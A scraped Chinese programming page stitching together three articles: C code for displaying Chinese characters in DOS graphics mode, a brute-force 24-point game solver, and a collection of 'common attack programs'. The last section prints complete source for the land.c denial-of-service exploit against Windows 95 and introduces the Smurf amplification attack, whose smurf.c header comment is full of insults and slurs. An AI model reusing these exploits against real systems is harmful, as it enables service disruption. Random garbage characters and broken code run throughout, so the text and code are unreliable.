5 [" Z9 c! R$ l' r( X图形模式下的汉字显示</B></FONT></P><>　</P><>　我们在编写一些应用软件时，为了使软件更为通俗浅显、易学易用，具备汉字的用户界面是必不可少的条件。在文本模式下，只要有汉字操作系统的支持，显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习Ｃ语言！");}
　　在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究，并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持，但用到其中的字库文件。如ＵＣＤＯＳ的HZK16。
9 W* H1 V; ^4 X& s5 E　　汉字显示的第一步是打开字库文件。
: f" M/ V* h$ W. E& q) g4 G" M, r　　函数： int OpenHz(const char *Hz16Path); 功能：打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后，就可以用下面介绍的函数显示16点阵的汉字。
　　函数： int WrtHz16(int x,int y,int z,int color,char *p); 功能：在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
{
; r5 i3 H" y, ?7 eunsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
int rec,i1,i2,i3; /*z:space between;*/
! {( w. `0 I/ G, s# d7 t6 g, Ulong l; /*color:txt color*/
+ d' B- D4 s. ?! J8 q& I- }char by[32]; /*p:HZ str*/
0 l! a" F1 X/ k1 r9 Nif( handle&lt;0 ) return -1; while((i=*p++)!=0){
5 Q0 n+ ~$ c' M4 b  @* dif(i&gt;0xa1)
7 p8 i3 a9 Y, e/ z) uif(f==0){
c1=(i-0xa1)&amp;0x07f;
f=1;
}
' z+ ^! D. l" L- t/ [; c" ^( S/ g/ Velse{
c2=(i-0xa1)&amp;0x07f;
f=0;
rec=c1*94+c2;
l=rec*32L;
; A4 m1 [% i% X! jlseek(handle,l,SEEK_SET);
; e* D3 @. {  O8 V, Jread(handle,by,32);
! Y: J6 }3 U% z+ `for(i1=0;i1&lt;16;i1++)
8 X: z/ s' L9 Z: Q# ufor(i2=0;i2&lt;2;i2++)
8 c$ _9 q( j( d* Afor(i3=0;i3&lt;8;i3++)
. N8 s; k, G) A# L) I3 F6 wif(GetBit(by[i1*2+i2],7-i3))
putpixel(x+i2*8+i3,y+i1,color);
. _2 |2 E& i8 R( {. w! ix=x+z+16;
}
7 c. ]7 w6 f  U5 b}
return(x);
}
函数GetBit定义如下：
　　函数： int GetBit(unsigned char c,int n); 功能：取得汉字的点阵数据。
0 e% w" H' x8 \, {int GetBit(unsigned char c,int n)
{
+ X/ @8 |" e! J+ K$ h" [1 areturn((c&gt;&gt;n)&amp;1);
  V2 B+ I/ V$ e; z7 z! s" o8 v}
汉字显示结束，应该关闭字库文件。
void CloseHz(void)
# s4 t2 m0 I$ h; w5 d# O& f{
close( handle );
) T) K  q  `2 o9 l5 k% F}
#include "\Caic\Include\Hz.h"
#include <GRAPHICS.H>
7 `7 H6 O4 i1 |9 k# b2 g  t#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
const char* HzStr = "苦丁香Ｃ语言辅助学习软件";
void main(){
int gr=DETECT,gm;
1 G' Q6 ^9 V1 Y: y! P7 n: Einitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
OpenHz( Hz16Path );
Wrt16Hz(20,20,4,RED,HzStr);
2 m! t9 H) j, O$ B0 ~2 M% oCloseHz();
getch();
closegraph();
, z& n5 K# E, Q- w2 s}显示２４点阵及放大汉字
　　下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如ＵＣＤＯＳ的HZK24S。
函数： int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能：显示２４点阵及放大汉字。
( y9 F% Y2 @* Y9 E; Mint WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
{
3 B: g/ v9 _3 w: ~, punsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
% \# i% t7 a& s5 l9 u. Aint i1,i2,i3,i4,i5,rec; /*x,y: 先是位置（x,y）*/
long l; /*color:汉字颜色*/
2 t! y& A7 N, w% O' p4 x) zchar by[72]; /*m: x 方向的放大倍数*/
1 Y6 X) r1 U+ Q/*n: y 方向的放大倍数*/
% d$ G7 l* P/ G; _7 h; g. y. Jif( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
if(i&gt;0xa1)
if(f==0){
4 |( M2 j, q/ t; T9 yc1=(i-0xa1)&amp;0x7f;
& t0 v6 @- I" R) H  }/ b0 Hf=1;
$ M) i" [$ F; F' N; i  [}
, w) _# t: d1 X8 ]8 J3 |3 welse{
+ h* m' o! }% H/ ~6 p/ \c2=(i-0xa1)&amp;0x7f;
f=0;
rec=(c1-15)*94+c2;
l=rec*72L;
lseek(handle,l,SEEK_SET);
read(handle,by,72);
for(i1=0;i1&lt;24*m;i1=i1+m)
for(i4=0;i4<M;I4++)
5 Y% d/ P0 E) {& C+ l) ?  ^ for(i2=0;i2&lt;=2;i2++)
for(i3=0;i3&lt;8;i3++)
if(GetBit(by[i1/m*3+i2],7-i3))
0 B6 b1 w* f/ N/ vfor(i5=0;i5<N;I5++)
( M6 \* Y+ y' q8 d5 a$ W putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
% \$ b% A$ z3 T6 [; Xx=x+24*m+z;
}
}
return(x);
8 r5 V, b1 R3 d+ S6 I3 t} 使用Wrt24Hz的例子：#include "\Caic\Include\Hz.h"
  W  c9 ~( P2 ?' l0 W#include <GRAPHICS.H>
# g4 ~$ l8 X# I( v#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
% u9 w8 V, `$ l% i5 T7 _const char* HzStr = "苦丁香Ｃ语言辅助学习软件";
9 m, p& x* N. o! \& Yvoid main(){
# i5 Z* \$ _$ K" a! E3 zint gr=DETECT,gm;
7 A0 K' ?& |6 i# o0 Ainitgraph(&amp;gr,gm,"\\Caic\\Bgi");
OpenHz( Hz24Path );
Wrt24Hz(20,20, /*先是在（x,y）*/
/ e3 W! e: L  K* S+ N1 \% X) Q" ~; c4, /*汉字间的空格为4*/
5 j4 o! t  L4 g4 g, m- `RED, /*用红色显示*/
1 V" _- S% B, I2, /*x 方向放大２倍*/
4, /*y 方向放大４倍*/
HzStr); /*显示字符串*/
CloseHz();
getch();
closegraph();
}
</P>

韩冰

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
& i9 L8 ^9 e4 w+ |4 ~& w$ J　　漫长的假期对于我来说总是枯燥无味的，闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单，就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目，这不，我们刚玩了一会儿，便遇到了一个难题——3、6、6、10（其实后来想想，这也不算是个太难的题，只是当时我们的脑筋都没有转弯而已，呵呵）。

　　问题既然出现了，我们当然要解决。冥思苦想之际，我的脑中掠过一丝念头——何不编个程序来解决这个问题呢？文曲星中不就有这样的程序吗？所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法，最先想到的自然是穷举法（后来发现我再也想不到更好的方法了，悲哀呀，呵呵），因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举，不就可以利用这个计算程序来完成这个计算二十四点的程序吗？确定了这个思路之后，我开始想这个问题的细节。
首先穷举的可行性问题。我把表达式如下分成三类——
<FONT color=#ff0000>1、 无括号的简单表达式。
* Z! ?# {. P8 q, q2、 有一个括号的简单表达式。
3、 有两个括号的较复4、 杂表达式。
</FONT>穷举的开始我对给出的四个数进行排列，其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列，算法如下:
: D  X/ j0 @. o<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
' P$ ~) }- A" N6 {" W- X+ e/* c[] 存放四张牌的数组 */
- I- w% L5 \- @9 ?  ~/* k[] c[]种四张牌的代号，其中k[I]=I+1。
! R$ P$ f4 S1 |5 {5 @; P用它来代替c[]做处理，考虑到c[]中有可能出现相同数的情况 */
/* kans[] 暂存生成的排列组合 */
/* j 嵌套循环的次数 */
int fans(c,k,ans,kans,j)
int j,k[],c[];char ans[],kans[];
2 g7 o3 E2 c1 g" L/ d; _: P1 E* Z  {{ int i,p,q,r,h,flag,s[4],t[4][4];
# c; z6 u) b3 m% i; b3 a- i+ Hfor(p=0,q=0;p&lt;4;p++)
) y0 H* h2 ^" l6 y0 i{ for(r=0,flag=0;r<J;R++)
% ]6 O! |2 T! ?) }2 D% [( R if(k[p]!=kans[r]) flag++;
if(flag==j) t[j][q++]=k[p];
2 b/ P- q8 V. O% U3 Z) v. G* Z}
for(s[j]=0;s[j]&lt;4-j;s[j]++)
{ kans[j]=t[j][s[j]];
if(j==3) { for(h=0;h&lt;4;h++)
# V1 R3 B" i. Hans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
达式中的位置 */
5 H( s3 E/ y2 m7 I" r% o+ Z* rfor(h=0;h&lt;3;h++)
: x$ A) H1 \, q0 h, Xsymbol(ans,h); /* 在表达式中添加运算符号 */
}
else { j++;
fans(c,k,ans,kans,j);
j--;
}
2 C% X7 m) V& e}
}</FONT>
1 x2 O1 u# `& k) p; ^/ f1 f* I
　　正如上面函数中提到的，在完成四张牌的排列之后，在表达式中添加运算符号。由于只有四张牌，所以只要添加三个运算符号就可以了。由于每一个运算符号可重复，所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举，算法如下:

<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
int sans(ans,sy,j,h)
char ans[],sy[];int j,h;
{ int i,p,k[3],m,n; char ktans[20];
( c& a' b$ @5 A3 J" ^5 ffor(k[j]=0;k[j]&lt;4;k[j]++)
* [1 t. k0 m0 d1 P& S" b* P! A{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
0 }* U8 O  r5 N+ p这里的三个运算符号分别存放在1、3、5位*/
' h) p1 k1 d1 Q( F- E# X4 iif(j==2)
: u" x# _, U, M- a: U2 @{ ans[5]=sy[k[j]];
/* 此处根据不同的表达式形式再进行相应的处理 */
3 @" [" u# m3 N4 m8 o% @0 h! c}
% T, u* D' g$ h: E" Eelse { j++; sans(ans,sy,j--,h); }
}
}

</FONT>　　好了，接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类，是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种，无括号自然不用另行处理；而第二种情况由以下代码可以得出其可能性有六种，其中还有一种是多余的。
+ X' h( o' F  W( @+ Z0 m- ]for(m=0;m&lt;=4;m+=2)
# ?1 q/ d; j9 Z  I/ Pfor(n=m+4;n&lt;=8;n+=2)
　　这个for循环给出了添加一个括号的可能性的种数，其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0，n=8，也就是放在表达式的两端。这真是多此一举，呵呵！最后一种情况是添加两个括号，我分析了一下，发现只可能是这种形式才不会是重复的——（a b）(c d)。为什么不会出现嵌套括号的情况呢？因为如果是嵌套括号，那么外面的括号肯定是包含三个数字的（四个没有必要），也就是说这个括号里面包含了两个运算符号，而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的，则肯定可以通过一些转换去掉括号（你不妨举一些例子来试试），也就是说这一个括号没有必要；如果这两个运算符号不是同一优先级，也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高，自然就没有必要在它的外面添加括号了。
; c9 v) p9 P+ j- m3 v
- V" u4 N2 [% Q8 @2 t& E4 l1 |　　综上所述，所有可能的表达式的种数为24*64*（1+6+1）=12288种。哈哈，只有一万多种可能性（这其中还有重复），这对于电脑来说可是小case哟！所以，对于穷举的可行性分析和实现也就完成了。
</P>< align=left>　　接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用，那么什么是栈呢？栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的，即最后存放入栈的货物（堆在靠出口处）先被提取出去，符合“先进后出，后进先出”的原则。这种结构犹如子弹夹。
在栈中，元素的插入称为压入（push）或入栈，元素的删除称为弹出（pop）或退栈。
/ x" ^: w- N8 L- I
* P0 _) s5 T0 ?) d- v1 s4 ^  P　　栈的基本运算有三种，其中包括入栈运算、退栈运算以及读栈顶元素，这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。

　　那么作为栈的著名应用，表达式的计算可以有两种方法。
( ^/ S: N1 a0 K
0 X0 C3 R2 A1 V3 _  _: l) R) A1 o　　<FONT color=#ff0000>第一种方法——</FONT>
　　首先建立两个栈，操作数栈OVS和运算符栈OPS。其中，操作数栈用来记忆表达式中的操作数，其栈顶指针为topv，初始时为空，即topv=0；运算符栈用来记忆表达式中的运算符，其栈顶指针为topp，初始时，栈中只有一个表达式结束符，即topp=1，且OPS（1）=‘；’。此处的‘；’即表达式结束符。
　　然后自左至右的扫描待处理的表达式，并假设当前扫描到的符号为W，根据不同的符号W做如下不同的处理：
1、 若W为操作数
2、 则将W压入操作数栈OVS
- t$ r. l; V4 n3 i! z! ?- n2 b5 ~+ ]3、 且继续扫描下一个字符
# }* [: Z9 L! c) t% [1 r! I4、 若W为运算符
  k; i3 W5 T% R( T" e' v5、 则根据运算符的性质做相应的处理：
$ {6 {1 n% u) d(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS，并继续扫描下一个字符。
(2)、若运算符W为表达式结束符‘；’且运算符栈栈顶的运算符也为表达式结束符（即OPS(topp)=’;’），则处理过程结束，此时，操作数栈栈顶元素（即OVS（topv））即为表达式的值。
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号（即OPS（topp）=’(‘)，则将左括号从运算符栈谈出，且继续扫描下一个符号。
9 G% d% I8 o& [, N2 y; e(4)、若运算符的右不大于运算符栈栈顶的运算符（即OPS(topp)），则从操作数栈OVS中弹出两个操作数，设先后弹出的操作数为a、b，再从运算符栈OPS中弹出一个运算符，设为+，然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。

' A. p3 `" ^# C2 y9 e<FONT color=#ff0000>　　第二种方法——</FONT>
　　首先对表达式进行线性化，然后将线性表达式转换成机器指令序列以便进行求值。
; P( K( X/ }" k2 S2 x
　　那么什么是表达式的线性化呢？人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式，有时必须借助括号才能将运算顺序表达清楚，而且处理也比较复杂。

% m8 e8 c8 r& f% T; N) c　　 1929年，波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系，后来人们称之为波兰表示法（Polish notation）。波兰表达式的特点是运算符位于运算对象的后面，因此称为后缀表示。在对波兰表达式进行运算，严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
表达式 波兰表达式
A-B AB-
# t' {: Q$ i/ H1 {( V% j' @. X（A-B）*C+D AB-C*D+
6 g+ k0 m6 i7 H3 x* T2 B, UA*（B+C/D）-E*F ABCD/+*EF*-
（B+C）/（A-D） BC+AD-/
- j' [  _4 f. b
　　OK，所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式，利用栈可以把表达式变换成波兰表达式，也可以利用栈来计算波兰表达式的值。
4 D4 W; `- c7 }$ Z
　　至于转换和计算的过程和第一种方法大同小异，这里就不再赘述了。
9 `9 ~. r) _3 y
; W  X7 \0 K9 n. a2 B" k3 ]　　下面给出转换和计算的具体实现程序——

9 g4 k9 C4 a- @/ U<FONT color=#009900>/* first函数给出各个运算符的优先级，其中=为表达式结束符 */
int first(char c)
{ int p;
switch(c)
) V0 T& z5 c' f8 J4 L6 p{ case '*': p=2; break;
. |1 ~% p$ q( {* y4 `- u6 Wcase '/': p=2; break;
+ A' C% q9 {4 \6 o8 s" O( g& o& Gcase '+': p=1; break;
/ r$ }) T, y. n7 mcase '-': p=1; break;
% a$ S! c/ p( `# Pcase '(': p=0; break;
7 v( d2 s% `( N$ `# I7 Vcase '=': p=-1; break;
/ ^8 ?; o. W- k- \3 |# W}
return(p);
0 P& x8 U  G) ~* ?- |, z}
/* 此函数实现中缀到后缀的转换 */
/* M的值宏定义为20 */
0 b2 S$ s# _3 H% Q+ o5 t/* sp[]为表达式数组 */
int mid_last()
{ int i=0,j=0; char c,sm[M];
, b/ w' M# ~0 }6 i* g! U! \c=s[0]; sm[0]='='; top=0;
while(c!='\0')
5 }% {' q2 v- _- Q2 u# a{ if(islower(c)) sp[j++]=c;
5 m+ U9 ]- z9 e3 ~0 b2 selse switch(c)
& e8 r. c$ Z5 L1 @: _/ [/ s; b# O. ]{ case '+':
case '-':
case '*':
; u* }6 x! E  z1 N1 L3 O- I  `case '/': while(first(c)&lt;=first(sm[top]))
, T& }% Y2 z* u+ |1 q5 gsp[j++]=sm[top--];
sm[++top]=c; break;
case '(': sm[++top]=c; break;
case ')': while(sm[top]!='(')
8 g8 r" n* F) j' ?7 f/ E% i; c8 rsp[j++]=sm[top--];
top--; break;
# T  k0 Y2 }) Cdefault :return(1);
+ H) p1 j$ r# r# U1 k- G}
" i+ l, L7 i& x) D- {  ]0 M4 l) Yc=s[++i];
! r1 n' r; B$ T7 i% D3 h0 N}
while(top&gt;0) sp[j++]=sm[top--];
1 R0 a" f6 ~- P  D: g& Q& ?sp[j]='\0'; return(0);
}
; ]. N' e' h& q8 k9 `+ T/* 由后缀表达式来计算表达式的值 */
# R- [- g' }4 x3 s  |int calc()
+ p+ L8 j+ k% U, j  ?2 B{ int i=0,sm[M],tr; char c;
c=sp[0]; top=-1;
1 e- i- m5 m8 D. {: e6 Swhile(c!='\0')
! N1 [- S* K% t9 }{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数，
2 D% z4 K4 Y7 H) q" }1 x这样才可以更方便的处理非一位数，
ver数组中存放着这些字母所代替的数*/
; U/ y  ~. w/ H+ C) p9 Relse switch(c)
/ A" c  F% D: _/ T{ case '+': tr=sm[top--]; sm[top]+=tr; break;
case '-': tr=sm[top--]; sm[top]-=tr; break;
case '*': tr=sm[top--]; sm[top]*=tr; break;
case '/': tr=sm[top--];sm[top]/=tr;break;
default : return(1);
: P1 j; _# M" v* Z: w4 E/ |) w}
c=sp[++i];
}
) a) \9 U$ v2 Xif(top&gt;0) return(1);
' w& S, @2 ^* |/ }* p7 selse { result=sm[top]; return(0); }
: ?" Y$ z1 Q. M$ q7 \# ]}
</FONT>
3 T5 s- {8 d9 A* A: M+ A　　这样这个程序基本上就算解决了，回过头来拿这个程序来算一算文章开始的那个问题。哈哈，算出来了，原来如此简单——（6-3）*10-6=24。

8 a# ?! g7 S+ R8 E　　最后我总结了一下这其中容易出错的地方——
, {9 l3 N# R( u3 a. g  g" D( s% n' |
# z' n  z0 a( L% m$ m　　1、 排列的时候由于一个数只能出现一次， 所以必然有一个判断语句。但是用什么来判断，用大小显然不行，因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号，在排列结束时，通过这个代号找到这个数。

5 j: k6 ?6 i. I9 |; u3 w　　2、在应用嵌套函数时，需仔细分析程序的执行过程，并对个别变量进行适当的调整（如j的值）,程序才能正确的执行。

　　3、在分析括号问题的时候要认真仔细，不要错过任何一个可能的机会，也要尽量使程序变得简单一些。不过我的分析可能也有问题，还请高手指点。
( L; D- W; H  W% n8 @8 V' X
　　4、在用函数对一个数组进行处理的时候，一定要注意如果这个数组还需要再应用，就必须将它先保存起来，否则会出错，而且是很严重的错误。

　　5、在处理用户输入的表达式时，由于一个十位数或者更高位数是被分解成各位数存放在数组中，所以需对它们进行处理，将它们转化成实际的整型变量。另外，在转化过程中，用一个字母来代替这个数，并将这个数存在一个数组中，且它在数组中的位置和代替它的这个字母有一定的联系，这样才能取回这个数。

. r# G$ |( D4 b# f. B1 w　　6、由于在穷举过程难免会出现计算过程中有除以0的计算，所以我们必须对calc函数种对于除的运算加以处理，否则程序会因为出错而退出（Divide by 0）。

$ U) k9 Q7 a  u　　7、最后一个问题，本程序尚未解决。对于一些比较著名的题目，本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数，而本程序并没有考虑到小数。
</P>

韩冰

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
这里有一些是老的，现在看来并没有用，但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞，以其IP地址和端口向自
己的同一个端口发起连接（发SYN），Win95即会崩溃。</P><>
/ \7 r4 l1 j( F4 i<FONT color=#009900>/* land.c by m3lt, FLC
; o$ j. H1 A( \crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
#include <NETDB.H>
#include <ARPA inet.h>
#include <NETINET in.h>
; Q) ?. E$ f  x0 c, y2 Y' Q( b#include <SYS types.h>
#include <SYS socket.h>
0 U/ K$ h: d& ?* x* K2 m7 e2 x' N4 U5 c#include <NETINET ip.h>
#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
struct pseudohdr
{
. {2 z9 z! ?1 }5 Z" Vstruct in_addr saddr;
5 m5 B+ J0 l+ kstruct in_addr daddr;
u_char zero;
u_char protocol;
* K1 O% F! [1 g' Xu_short length;
- K8 J& {/ B) a  Hstruct tcphdr tcpheader;
};</FONT></P><><FONT color=#009900>//计算IP校验和
u_short checksum(u_short * data,u_short length)
{
$ r7 w  e1 j/ aregister long value;
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
" k5 _6 B8 X) J# G" `/ w9 g) `value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
}</FONT></P><><FONT color=#009900>
+ k( R" U; q3 C0 [( y' ^int main(int argc,char * * argv)
- H$ D! l, w8 r' U: a2 _{
struct sockaddr_in sin;
. ~/ F7 k8 Z! T; F; \0 ystruct hostent * hoste;
int sock;
char buffer[40];
# v2 ?0 T( Q# tstruct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
' K, Q( v! g# a" i  b  sstruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
: V. {6 e( m; |/ F7 ^{
2 K# ]9 x1 R% Q( }5 G3 zfprintf(stderr,"usage: %s IP port\n",argv[0]);
return(-1);
0 H' M- P1 ]8 ]7 O7 x  e! J) _}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
, K7 K# e8 A+ D+ X9 ^8 G' usin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
# ]) F; p' l* ^) Gbcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
% g- E7 _3 u/ kelse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
# o. ^& l7 E& H1 R% nfprintf(stderr,"unknown host %s\n",argv[1]);
5 j% C" w! k, B7 preturn(-1);
+ J6 {( j' a5 l( s% s5 b}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
( ~7 a* G- \6 v" F, n{
fprintf(stderr,"unknown port %s\n",argv[2]);
return(-1);
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
( g  m  I8 @7 z) y" E{
+ d! Q) i: {9 P6 y, X0 B% k% ofprintf(stderr,"couldn't allocate raw socket\n");
0 y( X5 i8 T+ n- _1 f' vreturn(-1);
& B0 y7 T  H& U. b' [, H}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
$ I% Q1 @; S5 Y. H$ xipheader-&gt;version=4;
ipheader-&gt;ihl=sizeof(struct iphdr)/4;
! \% C2 L7 l/ c) W% \% pipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader-&gt;id=htons(0xF1C);
ipheader-&gt;ttl=255;
$ D- K, z) D5 Kipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
# L5 `# @- @- J" uipheader-&gt;saddr=sin.sin_addr.s_addr;
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
, b" J% z5 O5 @; [( D7 a% r) atcpheader-&gt;th_sport=sin.sin_port;
tcpheader-&gt;th_dport=sin.sin_port;
& e! l5 O3 Q* T$ I! t% Ftcpheader-&gt;th_seq=htonl(0xF1C);
tcpheader-&gt;th_flags=TH_SYN;
7 R1 [4 i' M$ ]. ?) U8 Ttcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
& I( }4 o6 r9 a5 mpseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
1 u; r1 ^# u9 v% s- o) B+ Mpseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
# L8 J5 e* B; F; T" y/ k  \tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
{
- O" d, d( Q- u6 ^% ^( u3 b( {5 }fprintf(stderr,"couldn't send packet\n");
return(-1);
}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
return(0);
}</FONT></P><>
2 Smurf
7 W6 N% f$ m1 R, m  A: D$ m2 Rsmurf攻击是很简单的，它有一些IP（广播地址）地址列表，发出了一些伪造的数
) b+ Z2 C+ L" {- p  a: v据包（ICMP echo request）从而导致一场广播风暴，可以使受害主机（使它成为伪造包
的源地址）崩溃。</P><>受害者有两种：中间的设备（bounce sites 交换机或路由器）和被伪装的IP（那些
icmp echo的包都被发给它）。这种攻击依赖于路由器把一个广播地址转化为一广播桢
（如Ethernet, FF:FF:FF:FF:FF:FF），RFC中允许这种转换，但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播（IP）到第二层的广播（Ethernet）。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在，但在路由器的上述配置会使这变
9 L# }2 z) s. D* S成不可能（没有WINS服务器时）。</P><P>/*
*
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
*
* spoofs icmp packets from a host to various broadcast addresses resulting
  z. [/ v; A$ S0 p7 e* in multiple replies to that host from a single packet.
; |3 b7 e5 w& g+ A2 _*
* mad head t
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
* MissSatan for swallowing, napster for pimping my sister, the guy that
* A+ Q) a5 p" N) s, [7 |; M1 w* invented vaseline, fyber for trying, knowy, old school #havok, kain
- M: Y4 c; H* C4 g* e$ F* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
* have missed (you know who you are).
) I  M8 A% V0 J*
- a! c8 v' L( P) x% j6 ~! {) k& a* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
8 b- S4 p! H0 d* p% ]' G* thing he is (he's -almost- as stubborn as me, still i managed to pick up
! \/ A& ]7 C- `  u* half the cheque).
% V( A; c* k* V/ [& U*
* and a special hi to Todd, face it dude, you're fucking awesome.
. f+ x/ R- T  Z. v3 d( p9 s*
* mad anal t
  \. m4 q7 j: `, A0 @5 i% g* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
* because they plain suck, Rolex for being a twit, everyone that
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
* partner, #cha0s, sedriss for having an ego in inverse proportion to
* his penis and anyone that can't pee standing up -- you don't know what
* your missing out on.
*
* and anyone thats ripped my code (diff smurf.c axcast.c is rather
* interesting).
*
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
* Robbins for trying to steal my girlfriend. Not only did you show me
# M4 J. f. d, @: b7 C. A* no respect but you're a manipulating prick who tried to take away the
* most important thing in the world to me with no guilt whatsoever, and
! P* u& _3 l/ q" Y! b" G7 P* for that I wish you nothing but pain. Die.
*
* disclaimer:
# [, J- K8 U) K8 y% w' F- _* I cannot and will not be held responsible nor legally bound for the
* malicious activities of individuals who come into possession of this
* program and I refuse to provide help or support of any kind and do NOT
; e& e3 L& X% b; T/ ~5 W% e* condone use of this program to deny service to anyone or any machine.
; G* A0 _( G; N& V7 c, c* This is for educational use only. Please Don't abuse this.
*
* Well, i really, really, hate this code, but yet here I am creating another
  s& M; ^8 B* }/ S% U, @* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
8 o' F# }: O' C/ S* like most programmers don't like seeing bugs in their code. I saw a few
* things that should have been done better or needed fixing so I fixed
* them. -shrug-, programming for me as always seemed to take the pain away
* ...
*
' a5 l9 s4 [  O0 U% m. i*
*/</P><P>#include <SIGNAL.H>
